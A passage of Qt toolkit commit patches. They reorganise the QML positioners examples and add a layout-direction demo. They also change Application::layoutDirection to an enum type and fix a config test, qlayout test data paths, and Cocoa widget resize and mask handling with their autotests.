50; height: 100; border.color: "black"; radius: 15 } + } + + Button { + x: 135; y: 90 + text: "Remove" + icon: "del.png" + + onClicked: { + blueH2.opacity = 0 + blueH1.opacity = 0 + blueV1.opacity = 0 + blueV2.opacity = 0 + blueG1.opacity = 0 + blueG2.opacity = 0 + blueG3.opacity = 0 + blueF1.opacity = 0 + blueF2.opacity = 0 + blueF3.opacity = 0 + } + } + + Button { + x: 145; y: 140 + text: "Add" + icon: "add.png" + + onClicked: { + blueH2.opacity = 1 + blueH1.opacity = 1 + blueV1.opacity = 1 + blueV2.opacity = 1 + blueG1.opacity = 1 + blueG2.opacity = 1 + blueG3.opacity = 1 + blueF1.opacity = 1 + blueF2.opacity = 1 + blueF3.opacity = 1 + } + } + + Grid { + x: 260; y: 0 + columns: 3 + + move: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + add: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueG1 + width: 50; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueG2 + width: 50; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueG3 + width: 50; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } + Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } + Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } + } + + Flow { + id: layout4 + x: 260; y: 250; width: 150 + + move: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + add: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueF1 + width: 60; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueF2 + width: 60; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueF3 + width: 40; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 } + } + +} diff --git a/examples/declarative/positioners/addandremove/addandremove.qmlproject b/examples/declarative/positioners/addandremove/addandremove.qmlproject new file mode 100644 index 0000000..e526217 --- /dev/null +++ b/examples/declarative/positioners/addandremove/addandremove.qmlproject @@ -0,0 +1,18 @@ +/* File generated by QtCreator */ + +import QmlProject 1.0 + +Project { + /* Include .qml, .js, and image files from current directory and subdirectories */ + QmlFiles { + directory: "." + } + JavaScriptFiles { + directory: "." + } + ImageFiles { + directory: "." + } + /* List of plugin directories passed to QML runtime */ + // importPaths: [ " ../exampleplugin " ] +} diff --git a/examples/declarative/positioners/addandremove/del.png b/examples/declarative/positioners/addandremove/del.png new file mode 100644 index 0000000..8d2eaed Binary files /dev/null and b/examples/declarative/positioners/addandremove/del.png differ diff --git a/examples/declarative/positioners/del.png b/examples/declarative/positioners/del.png deleted file mode 100644 index 8d2eaed..0000000 Binary files a/examples/declarative/positioners/del.png and /dev/null differ diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qml b/examples/declarative/positioners/layoutdirection/layoutdirection.qml new file mode 100644 index 0000000..3e23b15 --- /dev/null +++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qml @@ -0,0 +1,151 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.1 + +Rectangle { + + width: column.width + 100 + height: column.height + 100 + property int direction: Qt.application.layoutDirection + + Column { + id: column + spacing: 10 + anchors.centerIn: parent + width: 230 + + Text { + text: "Row" + anchors.horizontalCenter: parent.horizontalCenter + } + Row { + layoutDirection: direction + spacing: 10 + move: Transition { + NumberAnimation { + properties: "x" + } + } + Repeater { + model: 4 + Loader { + property int value: index + sourceComponent: delegate + } + } + } + Text { + text: "Grid" + anchors.horizontalCenter: parent.horizontalCenter + } + Grid { + layoutDirection: direction + spacing: 10; columns: 4 + move: Transition { + NumberAnimation { + properties: "x" + } + } + Repeater { + model: 11 + Loader { + property int value: index + sourceComponent: delegate + } + } + } + Text { + text: "Flow" + anchors.horizontalCenter: parent.horizontalCenter + } + Flow { + layoutDirection: direction + spacing: 10; width: parent.width + move: Transition { + NumberAnimation { + properties: "x" + } + } + Repeater { + model: 10 + Loader { + property int value: index + sourceComponent: delegate + } + } + } + Rectangle { + height: 50; width: parent.width + color: mouseArea.pressed ? "black" : "gray" + Text { + text: direction ? "Right to left" : "Left to right" + color: "white" + font.pixelSize: 16 + anchors.centerIn: parent + } + MouseArea { + id: mouseArea + onClicked: { + if (direction == Qt.LeftToRight) { + direction = Qt.RightToLeft; + } else { + direction = Qt.LeftToRight; + } + } + anchors.fill: parent + } + } + } + + Component { + id: delegate + Rectangle { + width: 50; height: 50 + color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0) + Text { + text: parent.parent.value+1 + color: "white" + font.pixelSize: 20 + anchors.centerIn: parent + } + } + } +} diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject new file mode 100644 index 0000000..e526217 --- /dev/null +++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject @@ -0,0 +1,18 @@ +/* File generated by QtCreator */ + +import QmlProject 1.0 + +Project { + /* Include .qml, .js, and image files from current directory and subdirectories */ + QmlFiles { + directory: "." + } + JavaScriptFiles { + directory: "." + } + ImageFiles { + directory: "." + } + /* List of plugin directories passed to QML runtime */ + // importPaths: [ " ../exampleplugin " ] +} diff --git a/examples/declarative/positioners/positioners.qml b/examples/declarative/positioners/positioners.qml deleted file mode 100644 index 7d6d8fe..0000000 --- a/examples/declarative/positioners/positioners.qml +++ /dev/null @@ -1,253 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - width: 420; height: 420 - - Column { - id: layout1 - y: 0 - move: Transition { - NumberAnimation { properties: "y"; easing.type: Easing.OutBounce } - } - add: Transition { - NumberAnimation { properties: "y"; easing.type: Easing.OutQuad } - } - - Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueV1 - width: 100; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueV2 - width: 100; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 } - } - - Row { - id: layout2 - y: 300 - move: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.OutBounce } - } - add: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.OutQuad } - } - - Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 } - - Rectangle { - id: blueH1 - width: 50; height: 100 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 } - - Rectangle { - id: blueH2 - width: 50; height: 100 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 100; border.color: "black"; radius: 15 } - } - - Button { - x: 135; y: 90 - text: "Remove" - icon: "del.png" - - onClicked: { - blueH2.opacity = 0 - blueH1.opacity = 0 - blueV1.opacity = 0 - blueV2.opacity = 0 - blueG1.opacity = 0 - blueG2.opacity = 0 - blueG3.opacity = 0 - blueF1.opacity = 0 - blueF2.opacity = 0 - blueF3.opacity = 0 - } - } - - Button { - x: 145; y: 140 - text: "Add" - icon: "add.png" - - onClicked: { - blueH2.opacity = 1 - blueH1.opacity = 1 - blueV1.opacity = 1 - blueV2.opacity = 1 - blueG1.opacity = 1 - blueG2.opacity = 1 - blueG3.opacity = 1 - blueF1.opacity = 1 - blueF2.opacity = 1 - blueF3.opacity = 1 - } - } - - Grid { - x: 260; y: 0 - columns: 3 - - move: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - add: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG1 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG2 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG3 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - } - - Flow { - id: layout4 - x: 260; y: 250; width: 150 - - move: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - add: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF1 - width: 60; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF2 - width: 60; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF3 - width: 40; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 } - } - -} diff --git a/examples/declarative/positioners/positioners.qmlproject b/examples/declarative/positioners/positioners.qmlproject deleted file mode 100644 index e526217..0000000 --- a/examples/declarative/positioners/positioners.qmlproject +++ /dev/null @@ -1,18 +0,0 @@ -/* File generated by QtCreator */ - -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } - /* List of plugin directories passed to QML runtime */ - // importPaths: [ " ../exampleplugin " ] -} diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 557c88b..a2a167e 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -381,7 +381,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions() Items with a width or height of 0 will not be positioned. - \sa Row, Grid, Flow, {declarative/positioners}{Positioners example} + \sa Row, Grid, Flow, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Column::add @@ -421,7 +421,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Column::spacing @@ -524,7 +524,7 @@ void QDeclarativeColumn::reportConflictingAnchors() Items with a width or height of 0 will not be positioned. - \sa Column, Grid, Flow, {declarative/positioners}{Positioners example} + \sa Column, Grid, Flow, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Row::add @@ -563,7 +563,7 @@ void QDeclarativeColumn::reportConflictingAnchors() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Row::spacing @@ -591,7 +591,7 @@ QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent) the right anchor remains to the right of the row. \endlist - \sa Grid::layoutDirection, Flow::layoutDirection + \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example} */ Qt::LayoutDirection QDeclarativeRow::layoutDirection() const { @@ -728,7 +728,7 @@ void QDeclarativeRow::reportConflictingAnchors() Items with a width or height of 0 will not be positioned. - \sa Flow, Row, Column, {declarative/positioners}{Positioners example} + \sa Flow, Row, Column, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Grid::add @@ -766,7 +766,7 @@ void QDeclarativeRow::reportConflictingAnchors() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Grid::spacing @@ -868,7 +868,7 @@ void QDeclarativeGrid::setFlow(Flow flow) \l Grid::flow property. \endlist - \sa Flow::layoutDirection, Row::layoutDirection + \sa Flow::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example} */ Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const { @@ -1092,7 +1092,7 @@ void QDeclarativeGrid::reportConflictingAnchors() Items with a width or height of 0 will not be positioned. - \sa Column, Row, Grid, {declarative/positioners}{Positioners example} + \sa Column, Row, Grid, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Flow::add @@ -1131,7 +1131,7 @@ void QDeclarativeGrid::reportConflictingAnchors() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Flow::spacing @@ -1210,8 +1210,9 @@ void QDeclarativeFlow::setFlow(Flow flow) \l Flow::flow property. \endlist - \sa Grid::layoutDirection, Row::layoutDirection + \sa Grid::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example} */ + Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const { Q_D(const QDeclarativeFlow); -- cgit v0.12 From 1f54c358fcc3eb53dc0cf689f59e2e6913dcf239 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 19:13:44 +1000 Subject: Change Qt.application.layoutDirection from bool to correct type of Qt::LayoutDirection Task-number: QTBUG-16424 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeapplication.cpp | 13 +++++++++++-- src/declarative/util/qdeclarativeapplication_p.h | 4 ++-- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index 7559aa9..7ecce1e 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -103,7 +103,7 @@ bool QDeclarativeApplication::active() const } /*! - \qmlproperty bool Application::layoutDirection + \qmlproperty enumeration Application::layoutDirection This property can be used to query the default layout direction of the application. On system start-up, the default layout direction depends on the @@ -113,8 +113,17 @@ bool QDeclarativeApplication::active() const property to customize your application layouts to support both layout directions. This property is readonly. + Possible values are: + + \list + \o Qt.LeftToRight - Text and graphics elements should be positioned + from left to right. + \o Qt.RightToLeft - Text and graphics elements should be positioned + from right to left. + \endlist + */ -bool QDeclarativeApplication::layoutDirection() const +Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const { Q_D(const QDeclarativeApplication); return d->layoutDirection; diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h index c5cd227..caaed18 100644 --- a/src/declarative/util/qdeclarativeapplication_p.h +++ b/src/declarative/util/qdeclarativeapplication_p.h @@ -57,13 +57,13 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject { Q_OBJECT Q_PROPERTY(bool active READ active NOTIFY activeChanged) - Q_PROPERTY(bool layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) public: explicit QDeclarativeApplication(QObject *parent = 0); virtual ~QDeclarativeApplication(); bool active() const; - bool layoutDirection() const; + Qt::LayoutDirection layoutDirection() const; protected: bool eventFilter(QObject *obj, QEvent *event); -- cgit v0.12 From bf7c6ee466d93db7d5af027d5ab503998f8ebf6f Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Wed, 19 Jan 2011 10:10:14 +0100 Subject: fix doubleformat config.test add 0.0 at the end to be treated like trailing null (\0) by some versions of 'strings' cli tool Merge-request: 2550 Reviewed-by: Oswald Buddenhagen --- config.tests/unix/doubleformat/doubleformattest.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.tests/unix/doubleformat/doubleformattest.cpp b/config.tests/unix/doubleformat/doubleformattest.cpp index f7b9000..b906e00 100644 --- a/config.tests/unix/doubleformat/doubleformattest.cpp +++ b/config.tests/unix/doubleformat/doubleformattest.cpp @@ -54,7 +54,7 @@ tested on x86, arm-le (gp), aix #include // equals static char c [] = "0123ABCD0123ABCD\0\0\0\0\0\0\0" -static double d [] = { 710524581542275055616.0, 710524581542275055616.0}; +static double d [] = { 710524581542275055616.0, 710524581542275055616.0, 0.0 }; int main(int argc, char **argv) { -- cgit v0.12 From b075603792ad90a55e0b23817d15f428e078a96e Mon Sep 17 00:00:00 2001 From: Adrian Constantin Date: Wed, 5 Jan 2011 14:31:10 +0200 Subject: Add the test data to the INSTALLS target Reviewed-by: Lucian Varlan --- tests/auto/qlayout/qlayout.pro | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/auto/qlayout/qlayout.pro b/tests/auto/qlayout/qlayout.pro index c99f1d9..08727e5 100644 --- a/tests/auto/qlayout/qlayout.pro +++ b/tests/auto/qlayout/qlayout.pro @@ -10,5 +10,9 @@ wince*|symbian: { addFiles.sources = baseline addFiles.path = . DEPLOYMENT += addFiles +} else { + test_data.files = baseline/* + test_data.path = $${target.path}/baseline + INSTALLS += test_data } -- cgit v0.12 From f250b8717cc35f55d1b6e1965419eca5334d77d9 Mon Sep 17 00:00:00 2001 From: Lucian Varlan Date: Tue, 4 Jan 2011 15:49:39 +0200 Subject: Use SRCDIR as a base path for the test data. The test cannot run on harmattan CI system, which executes it from a different directory than the one where the executable resides. Reviewed-by: Adrian Constantin Reviewed-by: Harald Fernengel --- tests/auto/qlayout/qlayout.pro | 2 ++ tests/auto/qlayout/tst_qlayout.cpp | 3 ++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/auto/qlayout/qlayout.pro b/tests/auto/qlayout/qlayout.pro index 08727e5..d3b76e3 100644 --- a/tests/auto/qlayout/qlayout.pro +++ b/tests/auto/qlayout/qlayout.pro @@ -11,6 +11,8 @@ wince*|symbian: { addFiles.path = . DEPLOYMENT += addFiles } else { + DEFINES += SRCDIR=\\\"$$PWD\\\" + test_data.files = baseline/* test_data.path = $${target.path}/baseline INSTALLS += test_data diff --git a/tests/auto/qlayout/tst_qlayout.cpp b/tests/auto/qlayout/tst_qlayout.cpp index 65eae55..3090ebb 100644 --- a/tests/auto/qlayout/tst_qlayout.cpp +++ b/tests/auto/qlayout/tst_qlayout.cpp @@ -156,7 +156,8 @@ void tst_QLayout::smartMaxSize() { QVector expectedWidths; - QFile f(QLatin1String("baseline/smartmaxsize")); + QFile f(QLatin1String(SRCDIR "/baseline/smartmaxsize")); + QCOMPARE(f.open(QIODevice::ReadOnly | QIODevice::Text), true); QTextStream stream(&f); -- cgit v0.12 From de1b44c967501666bfcb7a28d4c233708ce2c65e Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Wed, 19 Jan 2011 11:13:56 +0100 Subject: Cocoa: fix qwidget autotest (optimizedResizeMove) for raster engine In setGeometry_sys we used to call invalidateBuffer. This function does not take into account widgets with static contents when resizing. invlidateBuffer_resizeHelper does. The new code with this patch will make setGeometry_sys work the same way as in qwidget_x11::setGeometry_sys. --- src/gui/kernel/qwidget_mac.mm | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm index 993c8f0..0161b33 100644 --- a/src/gui/kernel/qwidget_mac.mm +++ b/src/gui/kernel/qwidget_mac.mm @@ -4561,17 +4561,11 @@ void QWidgetPrivate::setGeometry_sys_helper(int x, int y, int w, int h, bool isM const QRect oldRect(oldp, olds); if (!isResize && QApplicationPrivate::graphicsSystem()) moveRect(oldRect, x - oldp.x(), y - oldp.y()); + setWSGeometry(false, oldRect); - if (isResize && QApplicationPrivate::graphicsSystem()) { - invalidateBuffer(q->rect()); - if (extra && !graphicsEffect && !extra->mask.isEmpty()) { - QRegion oldRegion(extra->mask.translated(oldp)); - oldRegion &= oldRect; - q->parentWidget()->d_func()->invalidateBuffer(oldRegion); - } else { - q->parentWidget()->d_func()->invalidateBuffer(effectiveRectFor(oldRect)); - } - } + + if (isResize && QApplicationPrivate::graphicsSystem()) + invalidateBuffer_resizeHelper(oldp, olds); } if(isMove || isResize) { -- cgit v0.12 From 79597969ee167b71bfbc28c2c56df8c2c8960e19 Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Wed, 19 Jan 2011 13:19:20 +0100 Subject: Cocoa/Alien: fix qwidget autotest (setClearAndResizeMask) Now that we alien is in use, several of the auto tests are that needed special handling for mac before, are now expected to pass. Which they also do. This patch turns them on :) --- src/gui/kernel/qwidget_mac.mm | 7 ++++++- tests/auto/qwidget/tst_qwidget.cpp | 41 ++++++++++++++++++++++---------------- 2 files changed, 30 insertions(+), 18 deletions(-) diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm index 0161b33..df8e61e 100644 --- a/src/gui/kernel/qwidget_mac.mm +++ b/src/gui/kernel/qwidget_mac.mm @@ -5007,19 +5007,24 @@ void QWidgetPrivate::registerTouchWindow() void QWidgetPrivate::setMask_sys(const QRegion ®ion) { Q_UNUSED(region); -#ifndef QT_MAC_USE_COCOA Q_Q(QWidget); + +#ifndef QT_MAC_USE_COCOA if (q->isWindow()) ReshapeCustomWindow(qt_mac_window_for(q)); else HIViewReshapeStructure(qt_mac_nativeview_for(q)); #else + if (!q->internalWinId()) + return; + if (extra->mask.isEmpty()) { extra->maskBits = QImage(); finishCocoaMaskSetup(); } else { syncCocoaMask(); } + topLevelAt_cache = 0; #endif } diff --git a/tests/auto/qwidget/tst_qwidget.cpp b/tests/auto/qwidget/tst_qwidget.cpp index 0d67d41..8ee6f58 100644 --- a/tests/auto/qwidget/tst_qwidget.cpp +++ b/tests/auto/qwidget/tst_qwidget.cpp @@ -8883,6 +8883,7 @@ void tst_QWidget::setClearAndResizeMask() UpdateWidget child(&topLevel); child.setAutoFillBackground(true); // NB! Opaque child. + child.setPalette(Qt::red); child.resize(100, 100); child.show(); QTest::qWait(10); @@ -8898,10 +8899,11 @@ void tst_QWidget::setClearAndResizeMask() // and ensure that the child widget doesn't get any update. #ifdef Q_WS_MAC // Mac always issues a full update when calling setMask, and we cannot force it to not do so. - QCOMPARE(child.numPaintEvents, 1); -#else - QCOMPARE(child.numPaintEvents, 0); + if (child.internalWinId()) + QCOMPARE(child.numPaintEvents, 1); + else #endif + QCOMPARE(child.numPaintEvents, 0); // and the parent widget gets an update for the newly exposed area. QTRY_COMPARE(topLevel.numPaintEvents, 1); QRegion expectedParentExpose(child.rect()); @@ -8918,10 +8920,11 @@ void tst_QWidget::setClearAndResizeMask() // and ensure that that the child widget gets an update for the area outside the old mask. QTRY_COMPARE(child.numPaintEvents, 1); outsideOldMask = child.rect(); -#ifndef Q_WS_MAC +#ifdef Q_WS_MAC // Mac always issues a full update when calling setMask, and we cannot force it to not do so. - outsideOldMask -= childMask; + if (!child.internalWinId()) #endif + outsideOldMask -= childMask; QCOMPARE(child.paintedRegion, outsideOldMask); // and the parent widget doesn't get any update. QCOMPARE(topLevel.numPaintEvents, 0); @@ -8934,11 +8937,12 @@ void tst_QWidget::setClearAndResizeMask() QTest::qWait(100); #ifdef Q_WS_MAC // Mac always issues a full update when calling setMask, and we cannot force it to not do so. - QTRY_COMPARE(child.numPaintEvents, 1); -#else + if (child.internalWinId()) + QTRY_COMPARE(child.numPaintEvents, 1); + else +#endif // and ensure that we don't get any updates at all. QTRY_COMPARE(child.numPaintEvents, 0); -#endif QCOMPARE(topLevel.numPaintEvents, 0); // ...and the same applies when clearing the mask. @@ -8946,10 +8950,11 @@ void tst_QWidget::setClearAndResizeMask() QTest::qWait(100); #ifdef Q_WS_MAC // Mac always issues a full update when calling setMask, and we cannot force it to not do so. - QTRY_VERIFY(child.numPaintEvents > 0); -#else - QCOMPARE(child.numPaintEvents, 0); + if (child.internalWinId()) + QTRY_VERIFY(child.numPaintEvents > 0); + else #endif + QCOMPARE(child.numPaintEvents, 0); QCOMPARE(topLevel.numPaintEvents, 0); QWidget resizeParent; @@ -8975,10 +8980,11 @@ void tst_QWidget::setClearAndResizeMask() QTest::qWait(200); #ifdef Q_WS_MAC // Mac always issues a full update when calling setMask, and we cannot force it to not do so. - QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask()); -#else - QTRY_COMPARE(resizeChild.paintedRegion, QRegion()); + if (child.internalWinId()) + 